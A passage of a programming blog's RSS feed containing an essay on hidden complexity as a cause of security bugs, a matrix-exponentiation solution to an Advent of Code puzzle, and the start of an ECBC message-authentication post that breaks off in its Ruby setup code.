&lt;p&gt;When in doubt, &lt;code class=&quot;language-text&quot;&gt;object_id&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;ObjectSpace.dump&lt;/code&gt; are great tools to validate assumptions.&lt;/p&gt;
&lt;p&gt;Thank you for reading and see you next time!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Insecure Software Development]]></title><description><![CDATA[A tale of software development and hidden complexity]]></description><link>https://bernardoamc.com/insecure-software-development/</link><guid isPermaLink="false">https://bernardoamc.com/insecure-software-development/</guid><pubDate>Fri, 28 Jan 2022 08:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;TL;DR;&lt;/h2&gt;
&lt;p&gt;If you don’t have the time or is not sure if you want to read this post, here are the main points discussed:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Hidden complexity is a common cause of security vulnerabilities&lt;/li&gt;
&lt;li&gt;There are multiple ways to tackle complexity in codebases, each with different degrees of success and pitfalls&lt;/li&gt;
&lt;li&gt;Code review is a great tool to reduce complexity before it becomes a problem&lt;/li&gt;
&lt;li&gt;Type juggling is still a thing and is a good example of hidden complexity causing issues&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Do you remember &lt;code class=&quot;language-text&quot;&gt;Log4J&lt;/code&gt;? What about &lt;code class=&quot;language-text&quot;&gt;Dependency Confusion&lt;/code&gt;? How could you not? At the time of this writing both happened over this past year and disrupted parts of our industry. Development and Infrastructure teams scrambled to patch their systems. Companies with poor asset management had it even worse, trying to identify and uncover vulnerable infrastructure while responding to these incidents. So what does both of these incidents
have in common? I will blame &lt;em&gt;hidden complexity&lt;/em&gt; here.&lt;/p&gt;
&lt;p&gt;Log4J abstracted environment variables, JNDI, and other kinds of lookups in log messages through a custom syntax that is parsed at the time of logging. Dependency confusion was caused by package managers trying to abstract the domain of dependency management, which is far from simple. In both cases library maintainers made the behaviour implicit.&lt;/p&gt;
&lt;h2&gt;Complexity&lt;/h2&gt;
&lt;p&gt;In practical terms we can define complexity as anything pertaining to our system that makes it difficult to understand or modify.&lt;/p&gt;
&lt;p&gt;As software evolves and gains more features, it becomes complex, with subtle coupling between components. This leads to bugs and longer development cycles. Eventually no single developer can keep the entire context of their codebases in their heads anymore and more bugs start popping up, slowing the development cycle even more. There are usually two approaches to fight complexity:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Make the code simpler and obvious&lt;/li&gt;
&lt;li&gt;Encapsulate complexity, abstract&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Make the code simpler and obvious&lt;/h3&gt;
&lt;p&gt;The idea here is to make things &lt;em&gt;explicit&lt;/em&gt;. The less our users have to guess in order to use what we built the better. Users here can range from developers to end users of our products, libraries or our own codebases.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Good naming practices, meaningful names
&lt;ul&gt;
&lt;li&gt;Can we understand on a high level what this code is trying to achieve without having to dig deeper?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Eliminating special cases
&lt;ul&gt;
&lt;li&gt;Can we enforce invariants?&lt;/li&gt;
&lt;li&gt;Can we just crash instead of handling special cases?&lt;/li&gt;
&lt;li&gt;Can we have a single implementation for our interfaces?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Ensuring consistency
&lt;ul&gt;
&lt;li&gt;Are we following the same patterns across the codebase?&lt;/li&gt;
&lt;li&gt;Are we enforcing our conventions?&lt;/li&gt;
&lt;li&gt;Are our comments high level and useful?&lt;/li&gt;
&lt;li&gt;Do we have good defaults?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;From a security point of view fighting complexity by making the code simpler and obvious is a clear winner. Why should we encapsulate parsing environment variables from log messages when this is clearly a special case? Developers can explicitly handle this complexity instead of relying on the library.&lt;/p&gt;
&lt;h3&gt;Encapsulate complexity, abstract&lt;/h3&gt;
&lt;p&gt;The idea of this approach is to &lt;em&gt;hide complexity&lt;/em&gt; so developers don’t need to understand all the complexities of a certain domain in order to work on it. This is usually related to classes or modules, where each one is designed to be relatively independent of each other. Developers can work in a module without concerning themselves with another.&lt;/p&gt;
&lt;p&gt;Notice that this goes against our main point of making things explict. There is a fine balance between choosing what should be explicit and which parts of the domain we can hide without compromising our decision making process while coding. Let’s investigate how things can go wrong.&lt;/p&gt;
&lt;p&gt;Abstractions can go wrong in two ways:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Expose information that is not important (leaky abstraction)&lt;/li&gt;
&lt;li&gt;Omit details that are important (obscure abstractions or false abstractions)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Leaky abstractions are painful to handle from a developer perspective, but don’t affect security as much as false abstractions. Dependency confusion can be explained by false abstractions. By not exposing where dependencies were being resolved from, which is an important detail on this domain, package managers created a false abstraction that allowed attackers to exploit package resolution. Developers didn’t have the right information in order to use the abstraction correctly.&lt;/p&gt;
&lt;h2&gt;Security&lt;/h2&gt;
&lt;p&gt;From a security perspective &lt;em&gt;designing for simplicity&lt;/em&gt; is the best way to achieve secure code. And simplicity here doesn’t only mean less features or code, it means making things more obvious. You can have a functionality that requires hundreds of lines of codes that is simpler than a similar one with half of that code.&lt;/p&gt;
&lt;p&gt;Let’s use the old Javascript or PHP type juggling as scenarios where code simplicity was not followed:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;js&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;&amp;quot;0e1234&amp;quot; == 0
true&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;&lt;em&gt;Javascript snippet&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;or&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;php&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;var_dump(&amp;#39;0xCAFE&amp;#39; == 51966);
bool(true)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;&lt;em&gt;This is fixed in newer versions of PHP&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;It’s not obvious that type casting will happen during comparison and actually make these comparisons return true. Being forced to remember special cases of your daily functions increases cognitive load and leads to bugs. Unsurprisingly, we had a range of vulnerabilities occurring because of this implicit behaviour.&lt;/p&gt;
&lt;p&gt;Plenty of other programming languages and libraries have implicit behaviour, from URL parsers causing &lt;em&gt;URL confusion&lt;/em&gt; to user management software not employing the principle of least privilege by default.&lt;/p&gt;
&lt;p&gt;So what can we do to reduce hidden complexity in our own systems? This is a really hard question, but code reviews always comes to my mind as a place where software development and security can work together to generate a better outcome.&lt;/p&gt;
&lt;h2&gt;Code Reviews&lt;/h2&gt;
&lt;p&gt;Code reviews are a great way to identify complex or implicit behaviour. It doesn’t matter if you are a junior, senior or the ultimate developer, if someone points out that they are having a hard time understanding your code then your code is complex.&lt;/p&gt;
&lt;p&gt;As a code reviewer you have the opportunity to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Point out code complexity
&lt;ul&gt;
&lt;li&gt;Are new abstractions encapsulating the right information?&lt;/li&gt;
&lt;li&gt;Do developers need to have special context to make the right decisions?&lt;/li&gt;
&lt;li&gt;Do we have a simpler way to handle this?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Question the introduced behaviour
&lt;ul&gt;
&lt;li&gt;Are we coding for our &lt;em&gt;current&lt;/em&gt; needs or are we trying to &lt;em&gt;anticipate requirements&lt;/em&gt;?&lt;/li&gt;
&lt;li&gt;Do we have new dependencies? Are they vetted?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Point out special cases
&lt;ul&gt;
&lt;li&gt;Do we have different code paths generating different outcomes?&lt;/li&gt;
&lt;li&gt;Do we actually need to handle these edge cases?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Ask for context through documentation
&lt;ul&gt;
&lt;li&gt;If we have trouble explaining the introduced behaviour things are likely to be more complex than they should&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The role you are playing at your company doesn’t matter, keeping simplicity and explicit behaviour as goals will benefit the codebase and promote secure code.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Coding with simplicity in mind not only reduces the amount of functional bugs in your codebase, but also the possibility of security vulnerabilities occurring due to hidden complexity or special case handling.&lt;/p&gt;
&lt;p&gt;As developers we should think about our abstractions and reason whether our users have the information they need to make the right decisions. Going even further, do we need to provide every piece of functionality to our users that we are doing today or can our API surface be simplified?&lt;/p&gt;
&lt;p&gt;Design for simplicity, and good luck!&lt;/p&gt;
&lt;p&gt;Thank you for reading. If you have comments or suggestions I would love to have a conversation about this topic with you. As always you can reach out to me via email or twitter. See you next time!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Mathematically solving Advent of Code 2021 day 06]]></title><description><![CDATA[Where we end up using matrices and exponentiation by squaring to model a linear recurrence.]]></description><link>https://bernardoamc.com/aoc-matrix-exponentiation/</link><guid isPermaLink="false">https://bernardoamc.com/aoc-matrix-exponentiation/</guid><pubDate>Fri, 10 Dec 2021 18:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://adventofcode.com/2021/about&quot;&gt;Advent of Code&lt;/a&gt; also called &lt;code class=&quot;language-text&quot;&gt;AoC&lt;/code&gt; is a set of small programming puzzles that are released daily from December 1st up till December 25th and that can be solved in any programming language you like. What I find particularly interesting about it is that the community is very active and you can always reach out for help or to compare solutions after you have solved a particular puzzle.&lt;/p&gt;
&lt;p&gt;Today we will chat about &lt;a href=&quot;https://adventofcode.com/2021/day/6&quot;&gt;the puzzle&lt;/a&gt; that we had on &lt;code class=&quot;language-text&quot;&gt;day 6&lt;/code&gt;. After solving a puzzle I usually go to the &lt;a href=&quot;https://www.reddit.com/r/adventofcode/comments/r9z49j/2021_day_6_solutions/&quot;&gt;Reddit thread&lt;/a&gt; of that day to check for alternative solutions. It’s there that I noticed that this puzzle could have been solved using matrix exponentiation and it took me some time to understand how that worked. This post is my attempt to explain this interesting solution.&lt;/p&gt;
&lt;h3&gt;Introduction&lt;/h3&gt;
&lt;p&gt;In this problem we are asked to model a population of &lt;code class=&quot;language-text&quot;&gt;fish&lt;/code&gt;. The model works like the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Each fish is represented by a &lt;code class=&quot;language-text&quot;&gt;number&lt;/code&gt;, which is the amount of days before reproduction.&lt;/li&gt;
&lt;li&gt;This number decreases each day&lt;/li&gt;
&lt;li&gt;Once it reaches &lt;code class=&quot;language-text&quot;&gt;0&lt;/code&gt;, on the next day, two things will happen:
&lt;ul&gt;
&lt;li&gt;that fish number is reset to &lt;code class=&quot;language-text&quot;&gt;6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;and a &lt;em&gt;new fish&lt;/em&gt; with a value of &lt;code class=&quot;language-text&quot;&gt;8&lt;/code&gt; is created&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This means that a fish reproduces every 7 days, and that each new fish needs 2 more days when they are created.&lt;/p&gt;
&lt;h3&gt;Example&lt;/h3&gt;
&lt;p&gt;Suppose our input is the following: &lt;code class=&quot;language-text&quot;&gt;3,4,3,1,2&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Remember that each number represents the state of a single fish.&lt;/p&gt;
&lt;p&gt;Let’s &lt;em&gt;sort this input&lt;/em&gt; and manually compute this population after &lt;em&gt;five days&lt;/em&gt;:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;Initial state: 1,2,3,3,4
After  1 day:  0,1,2,2,3
After  2 days: 0,1,1,2,6,8
After  3 days: 0,0,1,5,6,7,8
After  4 days: 0,4,5,6,6,6,7,8,8
After  5 days: 3,4,5,5,5,6,6,7,7,8&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;So after &lt;em&gt;five days&lt;/em&gt; we have &lt;code class=&quot;language-text&quot;&gt;ten&lt;/code&gt; fish. The state of each fish doesn’t matter when we are computing the final population count.&lt;/p&gt;
&lt;p&gt;Here’s the interesting leap. Since we know that a &lt;code class=&quot;language-text&quot;&gt;fish&lt;/code&gt; can have a state between &lt;code class=&quot;language-text&quot;&gt;0&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;8&lt;/code&gt; we can represent that same information using a &lt;code class=&quot;language-text&quot;&gt;matrix&lt;/code&gt;. Each column represents a possible state of a fish and we can compute the amount of fish in that state each day. As a side note a &lt;code class=&quot;language-text&quot;&gt;1 by N&lt;/code&gt; matrix (1 row with N columns) is usually called a &lt;code class=&quot;language-text&quot;&gt;vector&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Our input is still &lt;code class=&quot;language-text&quot;&gt;3,4,3,1,2&lt;/code&gt;, let’s write it in a &lt;code class=&quot;language-text&quot;&gt;matrix&lt;/code&gt; form:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;               0,1,2,3,4,5,6,7,8
Initial state: 0,1,1,2,1,0,0,0,0&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;This means we have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;One fish in state &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;One fish in state &lt;code class=&quot;language-text&quot;&gt;2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Two fish in state &lt;code class=&quot;language-text&quot;&gt;3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;One fish in state &lt;code class=&quot;language-text&quot;&gt;4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;No fish in any other state&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let’s manually compute the population after &lt;em&gt;five days&lt;/em&gt; in &lt;code class=&quot;language-text&quot;&gt;matrix&lt;/code&gt; form:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;               0,1,2,3,4,5,6,7,8
Initial state: 0,1,1,2,1,0,0,0,0
After  1 day:  1,1,2,1,0,0,0,0,0
After  2 days: 1,2,1,0,0,0,1,0,1
After  3 days: 2,1,0,0,0,1,1,1,1
After  4 days: 1,0,0,0,1,1,3,1,2
After  5 days: 0,0,0,1,1,3,2,2,1&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And the answer is the sum of fish in each state: &lt;code class=&quot;language-text&quot;&gt;0 + 0 + 0 + 1 + 1 + 3 + 2 + 2 + 1&lt;/code&gt; = &lt;code class=&quot;language-text&quot;&gt;10&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Solution&lt;/h3&gt;
&lt;p&gt;We need to find a &lt;code class=&quot;language-text&quot;&gt;new matrix&lt;/code&gt; that when multiplied with our existing &lt;code class=&quot;language-text&quot;&gt;matrix&lt;/code&gt; will give us the state of the &lt;code class=&quot;language-text&quot;&gt;next day&lt;/code&gt;. Let’s visualize this where &lt;code class=&quot;language-text&quot;&gt;M&lt;/code&gt; is our new matrix:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;       Initial State           Day 01
M * (0,1,1,2,1,0,0,0,0) = (1,1,2,1,0,0,0,0,0)

          Day 01               Day 02
M * (1,1,2,1,0,0,0,0,0) = (1,2,1,0,0,0,1,0,1)

          Day 02               Day 03
M * (1,2,1,0,0,0,1,0,1) = (2,1,0,0,0,1,1,1,1)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;There’s a &lt;a href=&quot;https://en.wikipedia.org/wiki/Recurrence_relation&quot;&gt;linear recurrence relation&lt;/a&gt; here, what we want in a general way is:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;M * (a,b,c,d,e,f,g,h,i) = (b,c,d,e,f,g,h+a,i,a)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Or in plain English:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;state A&lt;/code&gt; becomes &lt;code class=&quot;language-text&quot;&gt;state B&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;state B&lt;/code&gt; becomes &lt;code class=&quot;language-text&quot;&gt;state C&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;state C&lt;/code&gt; becomes &lt;code class=&quot;language-text&quot;&gt;state D&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;state D&lt;/code&gt; becomes &lt;code class=&quot;language-text&quot;&gt;state E&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;state E&lt;/code&gt; becomes &lt;code class=&quot;language-text&quot;&gt;state F&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;state F&lt;/code&gt; becomes &lt;code class=&quot;language-text&quot;&gt;state G&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;state G&lt;/code&gt; becomes &lt;code class=&quot;language-text&quot;&gt;state H&lt;/code&gt; plus &lt;code class=&quot;language-text&quot;&gt;state A&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;state H&lt;/code&gt; becomes &lt;code class=&quot;language-text&quot;&gt;state I&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;state I&lt;/code&gt; becomes &lt;code class=&quot;language-text&quot;&gt;state A&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Does this make sense? Every day the fish state decreases by one and a fish in state &lt;code class=&quot;language-text&quot;&gt;0&lt;/code&gt; will go back to state &lt;code class=&quot;language-text&quot;&gt;6&lt;/code&gt; and also generate a new fish in position &lt;code class=&quot;language-text&quot;&gt;8&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Let’s run this transformation from &lt;code class=&quot;language-text&quot;&gt;day 01&lt;/code&gt; to &lt;code class=&quot;language-text&quot;&gt;day 02&lt;/code&gt; and see if this makes sense:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;M * (a,b,c,d,e,f,g,h,i) = (b,c,d,e,f,g,h+a,i,a)
M * (1,1,2,1,0,0,0,0,0) = (1,2,1,0,0,0,0+1,0,1)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Seems about right! But how do we find &lt;code class=&quot;language-text&quot;&gt;M&lt;/code&gt; now? Luckily for us that’s the easy part, having the insight and identifying the linear recurrence was the hard part! What we want is:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;Make state A become state B:
(0 * a) + (1 * b) + (0 * c) + (0 * d) + (0 * e) + (0 * f) + (0 * g) + (0 * h) + (0 * i)

Which becomes:
(1 * b)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;So we have figured out the first line of our &lt;code class=&quot;language-text&quot;&gt;M&lt;/code&gt; matrix.&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;0 1 0 0 0 0 0 0 0&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Let’s figure out the second line:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;Make state B become state C:
(0 * a) + (0 * b) + (1 * c) + (0 * d) + (0 * e) + (0 * f) + (0 * g) + (0 * h) + (0 * i)

Which becomes:
(1 * c)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And we have the second line of our &lt;code class=&quot;language-text&quot;&gt;M&lt;/code&gt; matrix.&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;0 1 0 0 0 0 0 0 0
0 0 1 0 0 0 0 0 0&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And doing that for each state yields the final &lt;code class=&quot;language-text&quot;&gt;M&lt;/code&gt; matrix!&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;┏                 ┓
┃0 1 0 0 0 0 0 0 0┃
┃0 0 1 0 0 0 0 0 0┃
┃0 0 0 1 0 0 0 0 0┃
┃0 0 0 0 1 0 0 0 0┃
┃0 0 0 0 0 1 0 0 0┃
┃0 0 0 0 0 0 1 0 0┃
┃1 0 0 0 0 0 0 1 0┃
┃0 0 0 0 0 0 0 0 1┃
┃1 0 0 0 0 0 0 0 0┃
┗                 ┛&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;So that’s how we could calculate &lt;code class=&quot;language-text&quot;&gt;day 01&lt;/code&gt; from our &lt;code class=&quot;language-text&quot;&gt;initial state&lt;/code&gt;:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;┏                 ┓     ┏ ┓
┃0 1 0 0 0 0 0 0 0┃     ┃0┃
┃0 0 1 0 0 0 0 0 0┃     ┃1┃
┃0 0 0 1 0 0 0 0 0┃     ┃1┃
┃0 0 0 0 1 0 0 0 0┃     ┃2┃
┃0 0 0 0 0 1 0 0 0┃  X  ┃1┃
┃0 0 0 0 0 0 1 0 0┃     ┃0┃
┃1 0 0 0 0 0 0 1 0┃     ┃0┃
┃0 0 0 0 0 0 0 0 1┃     ┃0┃
┃1 0 0 0 0 0 0 0 0┃     ┃0┃
┗                 ┛     ┗ ┛&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;By the way, our matrix &lt;code class=&quot;language-text&quot;&gt;M&lt;/code&gt; is similar to a &lt;a href=&quot;https://en.wikipedia.org/wiki/Permutation_matrix&quot;&gt;permutation matrix&lt;/a&gt;, but adjusted to model our fish population (two ones in the first column as opposed to just one).&lt;/p&gt;
&lt;p&gt;Now you might be asking yourself, “isn’t this much harder than programmatically solving this?” and you wouldn’t be wrong in my opinion! But this solution has benefits, for example, if you want to calculate the fish population after &lt;strong&gt;a million&lt;/strong&gt; days we could compute this as:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;M^1_000_000 * Initial State&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And we know this problem can be efficiently solved by using &lt;a href=&quot;https://en.wikipedia.org/wiki/Exponentiation_by_squaring&quot;&gt;exponentiation by squaring&lt;/a&gt;. Let’s use numbers to keep the explanation simpler, but using a matrix works in the exact same way.&lt;/p&gt;
&lt;p&gt;Let’s say we want to compute a number like &lt;code class=&quot;language-text&quot;&gt;2^22&lt;/code&gt;. The insight of fast exponentiation is that this can be broken down into:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;2^16 * 2^4 * 2^2&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And can calculate a table like the following:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;| Exponent | Representation |
| -------- | -------------- |
| 2^0      | 1              |
| 2^1      | 2              |
| 2^2      | 2^1 * 2^1      |
| 2^4      | 2^2 * 2^2      |
| 2^8      | 2^4 * 2^4      |
| 2^16     | 2^8 * 2^8      |&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;So every row in the table can be computed by the previous row (recursively). For example, in order to compute &lt;code class=&quot;language-text&quot;&gt;2^16&lt;/code&gt; we only need four multiplications as opposed to sixteen! The idea is the same with matrices, we can compute each state based on the previous state instead of multiplying everything.&lt;/p&gt;
&lt;p&gt;The result would be &lt;code class=&quot;language-text&quot;&gt;O(Log n)&lt;/code&gt; as opposed to &lt;code class=&quot;language-text&quot;&gt;O(n)&lt;/code&gt; arithmetic operations.&lt;/p&gt;
&lt;h3&gt;Recap&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;We noticed that it was possible to model our fish population as a matrix&lt;/li&gt;
&lt;li&gt;We established a linear recurrence between days&lt;/li&gt;
&lt;li&gt;We represented this linear recurrence as a permutation matrix&lt;/li&gt;
&lt;li&gt;By using exponentiation by squaring we can compute our final answer in &lt;code class=&quot;language-text&quot;&gt;O(Log n)&lt;/code&gt; as opposed to &lt;code class=&quot;language-text&quot;&gt;O(n)&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That was a really interesting exploration! AoC puzzles are a great way to practice solutions that I wouldn’t reach out to on a daily basis. Thank you for reading, as always you can reach me via email or twitter for questions or comments, see you next time!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[ECBC algorithm]]></title><description><![CDATA[Let's investigate MACs built using block ciphers by learning about the ECBC algorithm.]]></description><link>https://bernardoamc.com/ecbc-algorithm/</link><guid isPermaLink="false">https://bernardoamc.com/ecbc-algorithm/</guid><pubDate>Fri, 19 Nov 2021 19:15:00 GMT</pubDate><content:encoded>&lt;p&gt;This is the second installment of our MAC series, read the previous posts to have a better understanding of what a MAC is and how it can be used to guarantee message integrity.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;/message-authentication-code&quot;&gt;Message Authentication Code (MAC)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encrypted CBC-MAC (ECBC)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;NMAC&lt;/li&gt;
&lt;li&gt;PMAC&lt;/li&gt;
&lt;li&gt;HMAC&lt;/li&gt;
&lt;li&gt;Poly1305-AES&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this post we will learn about MACs constructed using &lt;em&gt;block ciphers&lt;/em&gt; by learning about the &lt;code class=&quot;language-text&quot;&gt;ECBC&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;ECBC&lt;/h2&gt;
&lt;p&gt;ECBC, or encrypted CBC-MAC is a technique for constructing a message authentication code from a block cipher. Messages are encrypted with some block cipher algorithm in CBC mode to create a chain of blocks such that each block depends on the proper encryption of the previous block.&lt;/p&gt;
&lt;p&gt;We have a &lt;a href=&quot;/cbc-bitflipping-attack&quot;&gt;previous posts&lt;/a&gt; explaining how CBC works, it will be helpful to have a grasp on the subject before moving forward. We will start by investigating how ECBC works through a diagram and we can discuss the implementation details afterwards.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/3fe75343b9c5fc254d682b40ccdc908d/ecbc.svg&quot; alt=&quot;ECBC by Tom Fitzhenry&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Similarities between &lt;code class=&quot;language-text&quot;&gt;ECBC&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;CBC&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Like &lt;code class=&quot;language-text&quot;&gt;CBC&lt;/code&gt; we have an &lt;em&gt;initialization vector (IV)&lt;/em&gt; which is usually set to &lt;code class=&quot;language-text&quot;&gt;zero&lt;/code&gt; in this algorithm.&lt;/li&gt;
&lt;li&gt;Our message is still divided into &lt;em&gt;blocks&lt;/em&gt; of &lt;code class=&quot;language-text&quot;&gt;16&lt;/code&gt; bytes assuming the encryption process is based on &lt;code class=&quot;language-text&quot;&gt;AES-128&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Every encrypted block will be XORed with the next block before being encrypted under the &lt;em&gt;same key&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Differences between &lt;code class=&quot;language-text&quot;&gt;ECBC&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;CBC&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;After the last block is encrypted we have a &lt;em&gt;second key&lt;/em&gt; that will encrypt the final result of the chain.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It’s crucial for this second encryption to use a &lt;em&gt;different key&lt;/em&gt;, without it we could forge a message from a previous message and tag. Before we attempt to exploit this vulnerability, let’s implement this algorithm.&lt;/p&gt;
&lt;h2&gt;Implementation&lt;/h2&gt;
&lt;p&gt;Most of the code here was already covered up in previous posts, the most relevant one for our understanding being the &lt;a href=&quot;/cbc-bitflipping-attack&quot;&gt;CBC Bitflipping Attack&lt;/a&gt;. Our example will assume that our messages are &lt;em&gt;block aligned&lt;/em&gt; and no padding is required for now.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;require &amp;#39;openssl&amp;#39;

BLOCK_SIZE = 16
KEY1 = BLOCK_SIZE.times.map { rand(0..255) }
KEY2 = BLOCK_SIZE.times.map { rand(0..255) }
ZERO_IV = Array.new(BLOCK_SIZE, 0)
